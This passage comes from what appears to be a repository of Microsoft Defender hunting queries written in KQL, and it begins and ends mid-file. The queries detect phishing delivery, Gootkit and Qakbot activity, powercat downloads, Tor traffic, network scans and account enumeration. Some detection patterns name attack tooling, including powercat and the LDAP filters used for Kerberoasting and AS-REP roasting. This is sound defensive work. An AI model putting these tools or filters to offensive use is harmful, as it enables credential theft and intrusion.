    "content": "// This query looks for a Word document attachment, from which a link was clicked, and after which there was a browser download.\n// This query is not noisy, but most of its results are clean.\n// It can also hserve as reference for other queries on email attachments, on browser downloads or for queries that join multiple events by time.\n// Tags: #EmailAttachment, #WordLink, #BrowserDownload, #Phishing, #DedupFileCreate\n// Implementation comment #1: Matching events by time\n//      Matching the 3 different events (saving attachment, clicking on link, downloading file) is done purely by time difference - so could sometimes link together unrelated events.\n//      Doing a more exact lookup would create a much more complex query due to \n// Implementation comment #2: Deduping DeviceFileEvents\n//      Oftentimes there are multiple DeviceFileEvents for a single file - e.g. if the file keeps being appended into before being closed.\n//      So, we query only for the last reported file state to ignore intermediate file states.\n// Explaining the underlying data:\n//     BrowserLaunchedToOpenUrl event:\n//         This query uses the BrowserLaunchedToOpenUrl event, that includes clicks on http:// or https:// links (clicks outside of browsers), or on .lnk files\n//         For this event, RemoteUrl contains the opened URL.\nlet minTimeRange = ago(7d);\nlet wordLinks = \n    DeviceEvents\n    // Filter on click on links from WinWord\n    | where Timestamp > minTimeRange and ActionType == \"BrowserLaunchedToOpenUrl\" and isnotempty(RemoteUrl) and InitiatingProcessFileName =~ \"winword.exe\"\n    | project ClickTime=Timestamp, DeviceId, DeviceName, ClickUrl=RemoteUrl;\nlet docAttachments = \n    DeviceFileEvents\n    | where Timestamp > minTimeRange \n\t\t\t// Query for common document file extensions\n            and (FileName endswith \".docx\" or FileName endswith \".docm\" or FileName endswith \".doc\")\n\t\t\t// Query for files saved from email clients such as the Office Outlook app or the Windows Mail app\n            and InitiatingProcessFileName in~ (\"outlook.exe\", \"hxoutlook.exe\")\n    | summarize AttachmentSaveTime=min(Timestamp) by AttachmentName=FileName, DeviceId;\nlet browserDownloads = \n    DeviceFileEvents\n    | where Timestamp > minTimeRange \n\t\t\t// Query for files created by common browsers\n            and InitiatingProcessFileName in~ (\"browser_broker.exe\", \"chrome.exe\", \"iexplore.exe\", \"firefox.exe\")\n            // Exclude JS files that are used for loading sites (but still query for JS files that are known to be downloaded)\n            and not (FileName endswith \".js\" and isempty(FileOriginUrl))\n    // Further filter to exclude file extensions that are less indicative of an attack (when there were already previously a doc attachment that included a link)\n    | where FileName !endswith \".partial\" and FileName !endswith \".docx\"\n    | summarize (Timestamp, SHA1) = argmax(Timestamp, SHA1) by FileName, DeviceId, FileOriginUrl;\n// Perf tip: start the joins from the smallest table (put it on the left-most side of the joins)\nwordLinks\n| join kind= inner (docAttachments) on DeviceId | where ClickTime - AttachmentSaveTime between (0min..3min)\n| join kind= inner (browserDownloads) on DeviceId | where Timestamp - ClickTime between (0min..3min) \n// Aggregating multiple \"attachments\" together - because oftentimes the same file is stored multiple times under different names\n| summarize Attachments=makeset(AttachmentName), AttachmentSaveTime=min(AttachmentSaveTime), ClickTime=min(ClickTime)\n    by // Downloaded file details\n        bin(Timestamp, 1tick), FileName, FileOriginUrl, ClickUrl, SHA1, DeviceName, DeviceId\n"
  },
  {
    "path": "Delivery/Dropbox downloads linked from other site.txt",
    "content": "// This query looks for user content downloads from dropbox that originate from a link/redirect from a 3rd party site.\n// File sharing sites such as Dropbox are often used for hosting malware on a reputable site.\n// Read more about download URL data and about this attack vector in this blog post:\n// https://techcommunity.microsoft.com/t5/Threat-Intelligence/Hunting-tip-of-the-month-Browser-downloads/td-p/220454\n// Tags: #DownloadUrl, #Referer, #Dropbox\nDeviceFileEvents\n| where \n    Timestamp > ago(7d)\n    and FileOriginUrl startswith \"https://dl.dropboxusercontent.com/\"\n    and isnotempty(FileOriginReferrerUrl)\n    and FileOriginReferrerUrl !startswith \"https://www.dropbox.com/\" \n| project FileOriginReferrerUrl, FileName \n"
  },
  {
    "path": "Delivery/Email link + download + SmartScreen warning.txt",
    "content": "// Look for links opened from outlook.exe, followed by a browser download and then a SmartScreen app warning that was ignored by the user.\n// Read more about these events and this hunting approach in this post: https://techcommunity.microsoft.com/t5/forums/editpage/board-id/WDATPActor/message-id/34\n// Data availability: SmartScreen events are available only on Windows 10 version 1703 and onwards.\n// Tags: #EmailLink, #BrowserDownload, #SmartScreen\nlet smartscreenAppWarnings =\n// Query for SmartScreen warnings of unknown executed applications\n    DeviceEvents\n    | where ActionType == \"SmartScreenAppWarning\"\n    | project WarnTime=Timestamp, DeviceName, WarnedFileName=FileName, WarnedSHA1=SHA1, ActivityId=extractjson(\"$.ActivityId\", AdditionalFields, typeof(string))\n    // Select only warnings that the user has decided to ignore and has executed the app.\n    | join kind=leftsemi (\n            DeviceEvents\n            | where ActionType == \"SmartScreenUserOverride\"\n            | project DeviceName, ActivityId=extractjson(\"$.ActivityId\", AdditionalFields, typeof(string)))\n         on DeviceName, ActivityId\n\t| project-away ActivityId;\n// Query for links opened from outlook, that are close in time to a SmartScreen warning\nlet emailLinksNearSmartScreenWarnings =\n    DeviceEvents\n    | where ActionType == \"BrowserLaunchedToOpenUrl\" and isnotempty(RemoteUrl) and InitiatingProcessFileName =~ \"outlook.exe\"\n    | extend WasOutlookSafeLink=(tostring(parse_url(RemoteUrl).Host) endswith \"safelinks.protection.outlook.com\")\n    | project DeviceName, MailLinkTime=Timestamp,\n        MailLink=iff(WasOutlookSafeLink, url_decode(tostring(parse_url(RemoteUrl)[\"Query Parameters\"][\"url\"])), RemoteUrl)\n    | join kind=inner smartscreenAppWarnings on DeviceName | where (WarnTime-MailLinkTime) between (0min..4min);\n// Add the browser download event to tie in all the dots\nDeviceFileEvents\n| where isnotempty(FileOriginUrl) and InitiatingProcessFileName in~ (\"chrome.exe\", \"browser_broker.exe\")\n| project FileName, FileOriginUrl, FileOriginReferrerUrl, DeviceName, Timestamp, SHA1\n| join kind=inner emailLinksNearSmartScreenWarnings on DeviceName\n| where (Timestamp-MailLinkTime) between (0min..3min) and (WarnTime-Timestamp) between (0min..1min)\n| project FileName, MailLink, FileOriginUrl, FileOriginReferrerUrl, WarnedFileName, DeviceName, SHA1, WarnedSHA1, Timestamp\n| distinct *\n"
  },
  {
    "path": "Delivery/Gootkit-malware.md",
    "content": "# Gootkit malware delivery and C2\n\nThis query was originally published on Twitter, by [@MsftSecIntel](https://twitter.com/MsftSecIntel).\n\nGootkit is malware that started life as a banking trojan, and has since extended its capabilities to allow for a variety of malicious activities.\n\nThe query helps find events related to Gootkit downloads and command-and-control behavior.\n\n## Query\n\n``` Kusto\nAlertInfo | where Title =~ \"Suspected delivery of Gootkit malware\"\n// Below section is to surface active follow-on Command and Control as a result of the above behavior. Comment out the below joins to see\n// only file create events where the malware may be present but has not yet been executed.\n////\n// Get alert evidence\n| join AlertEvidence on $left.AlertId == $right.AlertId\n// Look for C2\n| join DeviceNetworkEvents  on $left.DeviceId == $right.DeviceId\n| where InitiatingProcessFileName =~ \"wscript.exe\" and InitiatingProcessCommandLine has \".zip\" and InitiatingProcessCommandLine has \".js\"\n| summarize by RemoteUrl, RemoteIP , DeviceId, InitiatingProcessCommandLine, Timestamp, \nInitiatingProcessFileName, AlertId, Title, AccountName\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Delivery/Open email link.txt",
    "content": "// Query for links opened from mail apps – if a detection occurred right afterwards.\n// As there are many links opened from mails, to have a successful hunt we should have some filter or join with some other signal,\n// such as suspicious processes, network connections, etc.\n// Therefore, in this example, we query for alerts that might be related to links sent via email.\n// This could be indicative of a phishing or spear-phishing attacks.\n// Tags: #EmailLink, #Phishing, #GetNearbyAlerts\n// Explaining the underlying data:\n//     This query uses the BrowserLaunchedToOpenUrl event, that includes clicks on http:// or https:// links (clicks outside of browsers), or on .lnk files\n//     For this event, RemoteUrl contains the opened URL.\nlet minTimeRange = ago(7d);\nlet outlookLinks = \n    DeviceEvents\n    // Filter on click on links from outlook\n    | where Timestamp > minTimeRange and ActionType == \"BrowserLaunchedToOpenUrl\" and isnotempty(RemoteUrl)\n\t| where \n\t\t\t// outlook.exe is the Office Outlook app\n\t\t\tInitiatingProcessFileName =~ \"outlook.exe\" \n\t\t\t// RuntimeBroker.exe opens links for all apps from the Windows store, including the Windows Mail app (HxOutlook.exe).\n\t\t\t// However, it will also include some links opened from other apps.\t\t\t\n\t        or InitiatingProcessFileName =~ \"runtimebroker.exe\"\n    | project Timestamp, DeviceId, DeviceName, RemoteUrl, InitiatingProcessFileName, ParsedUrl=parse_url(RemoteUrl)\n    // When applicable, parse the link sent via email from the clicked O365 ATP SafeLink\n    | extend WasOutlookSafeLink=(tostring(ParsedUrl.Host) endswith \"safelinks.protection.outlook.com\")\n    | project Timestamp, DeviceId, DeviceName, WasOutlookSafeLink, InitiatingProcessFileName,\n            OpenedLink=iff(WasOutlookSafeLink, url_decode(tostring(ParsedUrl[\"Query Parameters\"][\"url\"])), RemoteUrl);\nlet alerts =\n    DeviceAlertEvents\n    | summarize (FirstDetectedActivity, Title)=argmin(Timestamp, Title) by AlertId, DeviceId\n    // Filter alerts that include events from before the queried time period\n    | where FirstDetectedActivity > minTimeRange;\n// Join the two together - looking for alerts that are right after an abnormal network logon\nalerts | join kind=inner (outlookLinks) on DeviceId | where FirstDetectedActivity - Timestamp between (0min..3min)\n// If there are multiple alerts close to a single click-on-link, aggregate them together to a single row\n// Note: bin(Timestamp, 1tick) is used because when summarizing by a datetime field, the default \"bin\" used is 1-hour.\n| summarize FirstDetectedActivity=min(FirstDetectedActivity), AlertTitles=makeset(Title) by OpenedLink, InitiatingProcessFileName, Timestamp=bin(Timestamp, 1tick), DeviceName, DeviceId, WasOutlookSafeLink\n\n// Query for links opened from mail apps – if a detection occurred right afterwards. - MTP Schema\n// As there are many links opened from mails, to have a successful hunt we should have some filter or join with some other signal,\n// such as suspicious processes, network connections, etc.\n// Therefore, in this example, we query for alerts that might be related to links sent via email.\n// This could be indicative of a phishing or spear-phishing attacks.\n// Tags: #EmailLink, #Phishing, #GetNearbyAlerts\n// Explaining the underlying data:\n//     This query uses the BrowserLaunchedToOpenUrl event, that includes clicks on http:// or https:// links (clicks outside of browsers), or on .lnk files\n//     For this event, RemoteUrl contains the opened URL.\nlet minTimeRange = ago(7d);\nlet outlookLinks = \n    DeviceEvents\n    // Filter on click on links from outlook\n    | where Timestamp > minTimeRange and ActionType == \"BrowserLaunchedToOpenUrl\" and isnotempty(RemoteUrl)\n\t| where \n\t\t\t// outlook.exe is the Office Outlook app\n\t\t\tInitiatingProcessFileName =~ \"outlook.exe\" \n\t\t\t// RuntimeBroker.exe opens links for all apps from the Windows store, including the Windows Mail app (HxOutlook.exe).\n\t\t\t// However, it will also include some links opened from other apps.\t\t\t\n\t        or InitiatingProcessFileName =~ \"runtimebroker.exe\"\n    | project Timestamp, DeviceId, DeviceName, RemoteUrl, InitiatingProcessFileName, ParsedUrl=parse_url(RemoteUrl)\n    // When applicable, parse the link sent via email from the clicked O365 ATP SafeLink\n    | extend WasOutlookSafeLink=(tostring(ParsedUrl.Host) endswith \"safelinks.protection.outlook.com\")\n    | project Timestamp, DeviceId, DeviceName, WasOutlookSafeLink, InitiatingProcessFileName,\n            OpenedLink=iff(WasOutlookSafeLink, url_decode(tostring(ParsedUrl[\"Query Parameters\"][\"url\"])), RemoteUrl);\nlet alerts =\n    AlertInfo | join AlertEvidence on AlertId\n    | summarize (FirstDetectedActivity, Title)=argmin(Timestamp, Title) by AlertId, DeviceId\n    // Filter alerts that include events from before the queried time period\n    | where FirstDetectedActivity > minTimeRange;\n// Join the two together - looking for alerts that are right after an abnormal network logon\nalerts | join kind=inner (outlookLinks) on DeviceId | where FirstDetectedActivity - Timestamp between (0min..3min)\n// If there are multiple alerts close to a single click-on-link, aggregate them together to a single row\n// Note: bin(Timestamp, 1tick) is used because when summarizing by a datetime field, the default \"bin\" used is 1-hour.\n| summarize FirstDetectedActivity=min(FirstDetectedActivity), AlertTitles=makeset(Title) by OpenedLink, InitiatingProcessFileName, Timestamp=bin(Timestamp, 1tick), DeviceName, DeviceId, WasOutlookSafeLink\n"
  },
  {
    "path": "Delivery/Pivot from detections to related downloads.txt",
    "content": "// Pivot from downloads detected by Windows Defender Antivirus to other files downloaded from the same sites\n// To learn more about the download URL info that is available and see other sample queries,\n// check out this blog post: https://techcommunity.microsoft.com/t5/Threat-Intelligence/Hunting-tip-of-the-month-Browser-downloads/td-p/220454\nlet detectedDownloads =\n    DeviceEvents\n    | where ActionType == \"AntivirusDetection\" and isnotempty(FileOriginUrl)\n    | project Timestamp, FileOriginUrl, FileName, DeviceId,\n              ThreatName=tostring(parse_json(AdditionalFields).ThreatName)\n    // Filter out less severe threat categories on which we do not want to pivot\n    | where ThreatName !startswith \"PUA\"\n            and ThreatName !startswith \"SoftwareBundler:\" \n            and FileOriginUrl != \"about:internet\";\nlet detectedDownloadsSummary =\n    detectedDownloads\n    // Get a few examples for each detected Host:\n    // up to 4 filenames, up to 4 threat names, one full URL)\n    | summarize DetectedUrl=any(FileOriginUrl),\n                DetectedFiles=makeset(FileName, 4),\n                ThreatNames=makeset(ThreatName, 4)\n                by Host=tostring(parse_url(FileOriginUrl).Host);\n// Query for downloads from sites from which other downloads were detected by Windows Defender Antivirus\nDeviceFileEvents\n| where isnotempty(FileOriginUrl)\n| project FileName, FileOriginUrl, DeviceId, Timestamp,\n          Host=tostring(parse_url(FileOriginUrl).Host), SHA1 \n// Filter downloads from hosts serving detected files\n| join kind=inner(detectedDownloadsSummary) on Host\n// Filter out download file create events that were also detected.\n// This is needed because sometimes both of these events will be reported, \n// and sometimes only the AntivirusDetection event - depending on timing.\n| join kind=leftanti(detectedDownloads) on DeviceId, FileOriginUrl\n// Summarize a single row per host - with the machines count \n// and an example event for a missed download (select the last event)\n| summarize MachineCount=dcount(DeviceId), arg_max(Timestamp, *) by Host\n// Filter out common hosts, as they probably ones that also serve benign files\n| where MachineCount < 20\n| project Host, MachineCount, DeviceId, FileName, DetectedFiles, \n          FileOriginUrl, DetectedUrl, ThreatNames, Timestamp, SHA1\n| order by MachineCount desc \n"
  },
  {
    "path": "Delivery/Qakbot Craigslist Domains.md",
    "content": "# Qakbot Craigslist Domains\nQakbot operators have been abusing the Craigslist messaging system to send malicious emails. These emails contain non-clickable links to malicious domains impersonating Craigslist, which the user is instructed to manually type into the address bar to access.\n\n## Query\nThis query looks for network connections to domains impersonating Craigslist which are associated with the delivery of Qakbot.\n```\nDeviceNetworkEvents\n| where RemoteUrl matches regex @\"abuse\\.[a-zA-Z]\\d{2}-craigslist\\.org\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Delivery/detect-jscript-file-creation.md",
    "content": "# Detect .jse file creation events\n\nThis query was originally published in the threat analytics report, *Emulation-evading JavaScripts*.\n\nAttackers in several ransomware campaigns have employed heavily obfuscated JavaScript code, in order to implant malware or execute malicious commands. The obfuscation is intended to help the code evade security systems and potentially escape sandbox environments.\n\nThe following query detects the creation of files with a *.jse* extension. Certain ransomware campaigns, such as [Emotet](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/), are known to employ encrypted JavaScript code that is saved to the target as *.jse* files.\n\nSee [Detect potentially malicious .jse launch by File Explorer or Word](../Execution/jse-launched-by-word.md) for a similar technique.\n\n## Query\n\n```Kusto\n​// Creation of any .jse file, including legitimate and malicious ones \nDeviceFileEvents \n| where Timestamp > ago(7d)\n| where FileName endswith \".jse\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Delivery/powercat-download.md",
    "content": "# Powercat exploitation tool downloaded\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query detects downloads of *powercat*, an exploitation tool for PowerShell. Although associated with these zero-day attacks, powercat is a multi-purpose tool that is also used by other groups of attackers.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents | where FileName has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") | where ProcessCommandLine endswith \"powercat.ps1\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery | v |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](../Execution/reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](../Execution/umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](../Execution/exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](../Execution/umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](../Execution/reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Discovery/Detect-Not-Active-AD-User-Accounts.md",
    "content": "\n# Detect not active AD user accounts \n\n// Detect Active Directory service accounts that are not active because their last logon was more than 14 days ago\n// Replace XXX on line 4 with the naming convention start of your Active Directory service accounts\n\n## Query\n\n```\nIdentityLogonEvents \n| project Timestamp, AccountName, DeviceName, LogonType\n| where AccountName startswith \"XXX\" \n| summarize LastLogon = max(Timestamp) by AccountName, LogonType, DeviceName\n| where LastLogon < ago(14d)\n\n```\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access | X |  | \n| Discovery | X |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** < Milad Aslaner >\n\n**GitHub alias:** < https://github.com/MiladMSFT >\n\n**Organization:** < Microsoft >\n\n**Contact info:** < Twitter: MiladMSFT >\n"
  },
  {
    "path": "Discovery/DetectTorRelayConnectivity.md",
    "content": "# Detect Tor Relay Connectivity\nThis advanced hunting query detects processes communicating with known Tor relay IP addresses.\nThe public URL in the query is updated daily at 12PM and 12AM UTC.\nCSV source is the Tor Project API, obtained with: https://github.com/Dylan-J/Tor-Project-Statistics\n## Query\n```\nlet TorRelayData = (\n    externaldata (Nickname:string,Fingerprint:string,EntryAddress:string,IPv4Address:string,IPv4Port:string,IPv6Address:string,AddressType:string,Hostname:string,CountryCode:string,IsRunning:bool,RelayPublishDate:string,LastChangedIPData:string)\n    [h@'https://msde.blob.core.windows.net/public/TorRelayIPs.csv'] with (ignoreFirstRecord=true,format=\"csv\")\n    | where AddressType == \"IPv4\"\n);\nTorRelayData\n| join kind=inner DeviceNetworkEvents on $left.IPv4Address == $right.RemoteIP\n| join kind=inner (DeviceInfo | distinct DeviceId, PublicIP) on DeviceId\n| project Timestamp, DeviceId, LocalPublicIP = PublicIP, LocalIP, RemoteIP, TorIP = IPv4Address, Hostname, CountryCode, ActionType, InitiatingProcessFileName, InitiatingProcessFolderPath\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery | V |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control | V |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Dylan Jones\n**GitHub alias:** Dylan-J\n**Organization:** Microsoft\n**Contact info:** Twitter - @dylface2\n"
  },
  {
    "path": "Discovery/DetectTorrentUse.txt",
    "content": "//Custom detection to find use of torrenting software or browsing related to torrents\nDeviceNetworkEvents \n| where Timestamp > ago(7d)\n| where RemoteUrl has \"torrent\" or RemoteUrl has \"vuze\" or RemoteUrl has \"azureus\" or RemoteUrl endswith \".tor\" or InitiatingProcessFileName has \"torrent\" or InitiatingProcessFileName has \"vuze\" or InitiatingProcessFileName contains \"azureus\" \n| project Timestamp, ReportId, DeviceId, DeviceName, InitiatingProcessFileName, RemoteUrl , RemoteIP , RemotePort  \n"
  },
  {
    "path": "Discovery/Discover hosts doing possible network scans.txt",
    "content": "// Looking for high volume queries against a given RemoteIP, per DeviceName, RemotePort and Process\n// Please change the Timestamp window according your preference/objective, as also the subnet ranges that you want to analyze against\nlet remotePortCountThreshold = 10; // Please change the min value, for a host reaching out to remote ports on a remote IP, that you consider to be threshold for a suspicious behavior \nDeviceNetworkEvents\n| where Timestamp > ago(1d) and RemoteIP startswith \"172.16\" or RemoteIP startswith \"192.168\" \n| summarize\n    by DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName\n| summarize RemotePortCount=dcount(RemotePort) by DeviceName, RemoteIP, InitiatingProcessFileName\n| where RemotePortCount > remotePortCountThreshold\n"
  },
  {
    "path": "Discovery/Enumeration of users & groups for lateral movement.txt",
    "content": "// The query finds attempts to list users or groups using Net commands\r\nDeviceProcessEvents \r\n| where Timestamp > ago(14d) \r\n| where FileName == 'net.exe' and AccountName != \"\" and ProcessCommandLine !contains '\\\\'  and ProcessCommandLine !contains '/add' \r\n| where (ProcessCommandLine contains ' user ' or ProcessCommandLine contains ' group ') and (ProcessCommandLine contains ' /do' or ProcessCommandLine contains ' /domain') \r\n| extend Target = extract(\"(?i)[user|group] (\\\"*[a-zA-Z0-9-_ ]+\\\"*)\", 1, ProcessCommandLine) | filter Target  != '' \r\n| project AccountName, Target, ProcessCommandLine, DeviceName, Timestamp  \r\n| sort by AccountName, Target\r\n"
  },
  {
    "path": "Discovery/MultipleLdaps.md",
    "content": "# Detect multiple LDAP queries\r\n\r\nDetect multiple Active Directory LDAP queries made in bin time\r\n\r\nReplace 10 on line 1 with your desired thershold\r\n\r\nReplace 1m on line 2 with your desired bin time\r\n\r\n## Query\r\n\r\n```\r\nlet Thershold = 10;\r\nlet BinTime = 1m;\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| summarize NumberOfLdapQueries = count(), NumberOfDistinctLdapQueries = dcount(SearchFilter) by DeviceName, bin(Timestamp, BinTime)\r\n| where NumberOfDistinctLdapQueries > Thershold \r\n\r\n```\r\n## Category\r\n\r\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\r\n\r\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\r\n|------------------------|----------|-------|\r\n| Initial access |  |  |\r\n| Execution |  |  |\r\n| Persistence |  |  | \r\n| Privilege escalation |  |  |\r\n| Defense evasion |  |  | \r\n| Credential Access |  |  | \r\n| Discovery | X |  | \r\n| Lateral movement |  |  | \r\n| Collection |  |  | \r\n| Command and control |  |  | \r\n| Exfiltration |  |  | \r\n| Impact |  |  |\r\n| Vulnerability |  |  |\r\n| Misconfiguration |  |  |\r\n| Malware, component |  |  |\r\n\r\n\r\n## Contributors info\r\n\r\n**Contributor:** Mor Rubin\r\n\r\n**GitHub alias:** https://github.com/morRubin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: MorRubin\r\n\r\n**Contributor:** Oz Soprin\r\n\r\n**GitHub alias:** https://github.com/ozSoprin\r\n\r\n**Organization:** Microsoft\r\n\r\n**Contact info:** Twitter: ozSoprin\r\n"
  },
  {
    "path": "Discovery/MultipleSensitiveLdaps.md",
    "content": "# Detect multiple sensitive LDAP queries\r\n\r\nDetect multiple sensitive Active Directory LDAP queries made in bin time\r\n\r\nSensitive queries defined as Roasting or sensitive objects queries\r\n\r\nReplace 10 on line 6 with your desired thershold\r\n\r\nReplace 1m on line 7 with your desired bin time\r\n\r\nThis LDAP query cover Rubeus, Kerberoast, BloodHound tools\r\n\r\n## Query\r\n\r\n```\r\nlet SensitiveObjects = \"[\\\"Administrators\\\", \\\"Domain Controllers\\\", \\\"Domain Admins\\\", \\\"Account Operators\\\", \\\"Backup Operators\\\", \\\"DnsAdmin\\\", \\\"Enterprise Admins\\\", \\\"Group Policy Creator Owners\\\"]\";\r\nlet ASREP_ROASTING = \"userAccountControl:1.2.840.113556.1.4.803:=4194304\";\r\nlet ASREP_ROASTING1 = \"userAccountControl|4194304\";\r\nlet ASREP_ROASTING2 = \"userAccountControl&4194304\";\r\nlet KERBEROASTING = \"serviceprincipalname=*\";\r\nlet Thershold = 10;\r\nlet BinTime = 1m;\r\nlet SensitiveQueries = (\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| where SensitiveObjects contains QueryTarget or SearchFilter contains \"admincount=1\");\r\nlet Roasting = (\r\nIdentityQueryEvents\r\n| where ActionType == \"LDAP query\"\r\n| parse Query with * \"Search Scope: \" SearchScope \", Base Object:\" BaseObject \", Search Filter: \" SearchFilter\r\n| where SearchFilter contains ASREP_ROASTING or\r\nSearchFilter contains ASREP_ROASTING1 or\r\nSearchFilter contains ASREP_ROASTING2 or\r\nSearchFilter contains KERBEROASTING);\r\nunion SensitiveQueries, Roasting\r\n| summarize NumberOfLdapQueries = count(), NumberOfDistinctLdapQueries = dcount(SearchFilter) by DeviceName, bin(Timestamp, BinTime)\r\n| where NumberOfDistinctLdapQueries > Thershold \r\n\r\n```\r\n## Category\r\n\r\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\r\n\r\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\r\n|------------------------|----------|-------|\r\n| Initial access |  |  |\r\n| Execution |  |  |\r\n| Persistence |  |  | \r\n| Privilege escalation |  |  |\r\n| Defense evasion |  |  | \r\n| Credential Access |  |  | \r\n| Discovery | X |  | \r\n| Lateral movement |  |  | \r\n| Collection |  |  | \r\n| Command and control |  |  | \r\n| Exfiltration |  |  | \r\n| Impact |  |  |\r\n| Vulnerability |  |  |\r\n| Misconfiguration |  |  |\r\n| Malware, component |  |  |\r\n\r\n\r\n## Contributors 